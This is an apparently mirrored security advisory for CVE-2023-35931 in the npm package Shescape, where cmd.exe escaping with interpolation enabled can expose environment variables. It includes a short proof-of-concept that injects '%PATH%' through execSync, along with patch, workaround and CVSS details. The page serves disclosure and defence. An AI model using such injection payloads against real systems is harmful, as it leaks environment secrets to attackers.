Shescape potential environment variable exposure on Windows with CMD
Impact
This impact users of Shescape:
- On Windows using the Windows Command Prompt (i.e.
cmd.exe), and - Using
quote/quoteAllorescape/escapeAllwith theinterpolationoption set totrue.
An attacker may be able to get read-only access to environment variables. Example:
import * as cp from "node:child_process";
import * as shescape from "shescape";
// 1. Prerequisites
const options = {
shell: "cmd.exe",
// Or
shell: undefined, // Only if the default shell is CMD
// And
interpolation: true, // Only applies to `escape` and `escapeAll` usage
}
// 2. Attack (one of many)
const payload = "%PATH%";
// 3. Usage
let escapedPayload;
escapedPayload = shescape.quote(payload, options);
// Or
escapedPayload = shescape.quoteAll([payload], options);
// Or
escapedPayload = shescape.escape(payload, options);
// Or
escapedPayload = shescape.escapeAll([payload], options);
// And (example)
const result = cp.execSync(`echo Hello ${escapedPayload}`, options);
// 4. Impact
console.log(result.toString());
// Outputs "Hello" followed by the contents of the PATH environment variablePatches
This bug has been patched in v1.7.1 which you can upgrade to now. No further changes are required.
Workarounds
Alternatively, users can remove all instances of % from user input, either before or after using Shescape.
References
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | shescape | < 1.7.1 | 1.7.1 |
References
- https://github.com/ericcornelissen/shescape/security/advisories/GHSA-3g7p-8qhx-mc8r
- https://nvd.nist.gov/vuln/detail/CVE-2023-35931
- https://github.com/ericcornelissen/shescape/pull/982
- https://github.com/ericcornelissen/shescape/commit/d0fce70f987ac0d8331f93cb45d47e79436173ac
- https://github.com/ericcornelissen/shescape
- https://github.com/ericcornelissen/shescape/releases/tag/v1.7.1
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N- Weakness (CWE)
CWE-526- Platform
- npm
- Package
shescape- Disclosed
- 22.06.2023
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-3g7p-8qhx-mc8r - CC BY 4.0
Vulnerability history: shescape
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 13
- First → latest
- 03.2021 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 5
- Medium 4
- Low 2
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 2
- 2024: 0
- 2025: 1
- 2026: 5
-
Shescape potential environment variable exposure on Windows with CMD this entry
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